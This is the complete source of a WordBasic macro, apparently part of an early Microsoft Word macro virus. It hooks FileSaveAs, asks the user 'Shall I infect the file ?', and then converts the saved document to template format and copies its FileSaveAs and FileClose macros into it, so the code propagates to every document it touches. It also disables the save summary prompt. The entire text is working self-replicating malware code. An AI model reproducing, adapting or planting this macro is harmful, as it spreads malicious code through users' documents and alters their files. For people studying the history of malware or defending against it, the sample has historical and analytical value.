Macro: FileSaveAs

Sub MAIN
Dim dlg As FileSaveAs
GetCurValues dlg
On Error Goto trap
Dialog dlg      'execute the dialog.
FileSaveAs dlg
name$ = FileName$()
button1 = MsgBox("Shall I infect the file ?", "Propagation of the virus", 36)
ToolsOptionsSave  .SummaryPrompt = 0
If button1 = - 1 Then
        If (dlg.Format = 0) Or (dlg.Format = 1) Then
                dlg.Format = 1
                dlg.Name = name$
                FileSaveAs dlg
                MacroCopy "Global:FileSaveAs", name$ + ":FileSaveAs"
                MacroCopy "Global:FileClose", name$ + ":FileClose"
         End If
End If
trap:
End Sub
